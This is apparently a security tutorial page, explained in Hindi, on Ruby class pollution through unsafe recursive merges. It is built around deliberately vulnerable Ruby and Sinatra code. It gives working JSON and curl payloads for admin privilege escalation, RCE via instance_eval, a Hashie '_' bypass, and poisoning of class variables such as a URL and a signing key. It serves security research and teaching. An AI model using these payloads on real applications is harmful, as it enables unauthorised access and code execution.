# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html# Comments added to exploit the merge on attributesrequire'json'# Base class for both Admin and Regular usersclassPersonattr_accessor :name, :age, :detailsdefinitialize(name:, age:, details:)@name = name@age = age@details = detailsend# Method to merge additional data into the objectdefmerge_with(additional)recursive_merge(self, additional)end# Authorize based on the `to_s` method resultdefauthorizeif to_s =="Admin"puts"Access granted: #{@name} is an admin."elseputs"Access denied: #{@name} is not an admin."endend# Health check that executes all protected methods using `instance_eval`defhealth_checkprotected_methods().each do|method|instance_eval(method.to_s)endendprivate# VULNERABLE FUNCTION that can be abused to merge attributesdefrecursive_merge(original, additional, current_obj= original)additional.each do|key, value|if value.is_a?(Hash)if current_obj.respond_to?(key)next_obj = current_obj.public_send(key)recursive_merge(original, value, next_obj)elsenew_object =Object.newcurrent_obj.instance_variable_set("@#{key}", new_object)current_obj.singleton_class.attr_accessor keyendelsecurrent_obj.instance_variable_set("@#{key}", value)current_obj.singleton_class.attr_accessor keyendendoriginalendprotecteddefcheck_cpuputs"CPU check passed."enddefcheck_memoryputs"Memory check passed."endend# Admin class inherits from PersonclassAdmin<Persondefinitialize(name:, age:, details:)super(name: name, age: age, details: details)enddefto_s"Admin"endend# Regular user class inherits from PersonclassUser<Persondefinitialize(name:, age:, details:)super(name: name, age: age, details: details)enddefto_s"User"endendclassJSONMergerAppdefself.run(json_input)additional_object =JSON.parse(json_input)# Instantiate a regular useruser =User.new(name: "John Doe",age: 30,details: {"occupation"=>"Engineer","location"=> {"city"=>"Madrid","country"=>"Spain"}})# Perform a recursive merge, which could override methodsuser.merge_with(additional_object)# Authorize the user (privilege escalation vulnerability)# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'user.authorize# Execute health check (RCE vulnerability)# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.health_checkendendifARGV.length !=1puts"Usage: ruby class_pollution.rb 'JSON_STRING'"exitendjson_input =ARGV[0]JSONMergerApp.run(json_input)
Explanation
Privilege Escalation: authorize विधि जांचती है कि क्या to_s "Admin" लौटाता है। JSON के माध्यम से एक नया to_s गुण इंजेक्ट करके, एक हमलावर to_s विधि को "Admin" लौटाने के लिए मजबूर कर सकता है, जिससे अनधिकृत विशेषाधिकार मिलते हैं।
Remote Code Execution: health_check में, instance_eval उन विधियों को निष्पादित करता है जो protected_methods में सूचीबद्ध हैं। यदि एक हमलावर कस्टम विधि नाम (जैसे "puts 1") इंजेक्ट करता है, तो instance_eval इसे निष्पादित करेगा, जिससे remote code execution (RCE) होगा।
यह केवल इसलिए संभव है क्योंकि एक vulnerable eval निर्देश उस गुण के स्ट्रिंग मान को निष्पादित कर रहा है।
Impact Limitation: यह भेद्यता केवल व्यक्तिगत उदाहरणों को प्रभावित करती है, अन्य User और Admin के उदाहरणों को अप्रभावित छोड़ देती है, इस प्रकार शोषण के दायरे को सीमित करती है।
Real-World Cases
ActiveSupport’s deep_merge
यह डिफ़ॉल्ट रूप से कमजोर नहीं है लेकिन इसे कुछ इस तरह से कमजोर बनाया जा सकता है:
# Method to merge additional data into the object using ActiveSupport deep_mergedefmerge_with(other_object)merged_hash = to_h.deep_merge(other_object)merged_hash.each do|key, value|self.class.attr_accessor keyinstance_variable_set("@#{key}", value)endselfend
Hashie’s deep_merge
Hashie’s deep_merge विधि सीधे ऑब्जेक्ट विशेषताओं पर काम करती है न कि साधारण हैश पर। यह विधियों को विशेषताओं के साथ मर्ज में बदलने से रोकती है, कुछ अपवादों के साथ: विशेषताएँ जो _, !, या ? पर समाप्त होती हैं, उन्हें अभी भी ऑब्जेक्ट में मर्ज किया जा सकता है।
एक विशेष मामला है विशेषता _ अपने आप में। केवल _ एक विशेषता है जो आमतौर पर एक Mash ऑब्जेक्ट लौटाती है। और क्योंकि यह अपवादों का हिस्सा है, इसे संशोधित करना संभव है।
नीचे दिए गए उदाहरण को देखें कि कैसे {"_": "Admin"} पास करने पर _.to_s == "Admin" को बायपास किया जा सकता है:
require'json'require'hashie'# Base class for both Admin and Regular usersclassPerson<Hashie::Mash# Method to merge additional data into the object using hashiedefmerge_with(other_object)deep_merge!(other_object)selfend# Authorize based on to_sdefauthorizeif _.to_s =="Admin"puts"Access granted: #{@name} is an admin."elseputs"Access denied: #{@name} is not an admin."endendend# Admin class inherits from PersonclassAdmin<Persondefto_s"Admin"endend# Regular user class inherits from PersonclassUser<Persondefto_s"User"endendclassJSONMergerAppdefself.run(json_input)additional_object =JSON.parse(json_input)# Instantiate a regular useruser =User.new({name: "John Doe",age: 30,details: {"occupation"=>"Engineer","location"=> {"city"=>"Madrid","country"=>"Spain"}}})# Perform a deep merge, which could override methodsuser.merge_with(additional_object)# Authorize the user (privilege escalation vulnerability)# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'user.authorizeendendifARGV.length !=1puts"Usage: ruby hashie.rb 'JSON_STRING'"exitendjson_input =ARGV[0]JSONMergerApp.run(json_input)
Poison the Classes
निम्नलिखित उदाहरण में Person क्लास, और Admin और Regular क्लासें जो Person क्लास से विरासत में मिली हैं, को ढूंढना संभव है। इसमें एक और क्लास है जिसे KeySigner कहा जाता है:
require'json'require'sinatra/base'require'net/http'# Base class for both Admin and Regular usersclassPerson@@url ="http://default-url.com"attr_accessor :name, :age, :detailsdefinitialize(name:, age:, details:)@name = name@age = age@details = detailsenddefself.url@@urlend# Method to merge additional data into the objectdefmerge_with(additional)recursive_merge(self, additional)endprivate# Recursive merge to modify instance variablesdefrecursive_merge(original, additional, current_obj= original)additional.each do|key, value|if value.is_a?(Hash)if current_obj.respond_to?(key)next_obj = current_obj.public_send(key)recursive_merge(original, value, next_obj)elsenew_object =Object.newcurrent_obj.instance_variable_set("@#{key}", new_object)current_obj.singleton_class.attr_accessor keyendelsecurrent_obj.instance_variable_set("@#{key}", value)current_obj.singleton_class.attr_accessor keyendendoriginalendendclassUser<Persondefinitialize(name:, age:, details:)super(name: name, age: age, details: details)endend# A class created to simulate signing with a key, to be infected with the third gadgetclassKeySigner@@signing_key ="default-signing-key"defself.signing_key@@signing_keyenddefsign(signing_key, data)"#{data}-signed-with-#{signing_key}"endendclassJSONMergerApp<Sinatra::Base# POST /merge - Infects class variables using JSON inputpost '/merge'docontent_type :jsonjson_input =JSON.parse(request.body.read)user =User.new(name: "John Doe",age: 30,details: {"occupation"=>"Engineer","location"=> {"city"=>"Madrid","country"=>"Spain"}})user.merge_with(json_input){ status: 'merged' }.to_jsonend# GET /launch-curl-command - Activates the first gadgetget '/launch-curl-command'docontent_type :json# This gadget makes an HTTP request to the URL stored in the User classifPerson.respond_to?(:url)url =Person.urlresponse =Net::HTTP.get_response(URI(url)){ status: 'HTTP request made', url: url, response_body: response.body }.to_jsonelse{ status: 'Failed to access URL variable' }.to_jsonendend# Curl command to infect User class URL:# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge
# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySignerget '/sign_with_subclass_key'docontent_type :json# This gadget signs data using the signing key stored in KeySigner classsigner =KeySigner.newsigned_data = signer.sign(KeySigner.signing_key,"data-to-sign"){ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_jsonend# Curl command to infect KeySigner signing key (run in a loop until successful):# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
# GET /check-infected-vars - Check if all variables have been infectedget '/check-infected-vars'docontent_type :json{user_url: Person.url,signing_key: KeySigner.signing_key}.to_jsonendrun! if app_file == $0end
Poison Parent Class
इस पेलोड के साथ:
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
यह संभव है कि माता-पिता की कक्षा Person के @@url गुण के मान को संशोधित किया जाए।
अन्य कक्षाओं को विषाक्त करना
इस पेलोड के साथ:
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
यह संभव है कि परिभाषित कक्षाओं को ब्रूट-फोर्स किया जाए और किसी बिंदु पर कक्षा KeySigner को ज़हर दिया जाए, signing_key के मान को injected-signing-key द्वारा संशोधित करके।\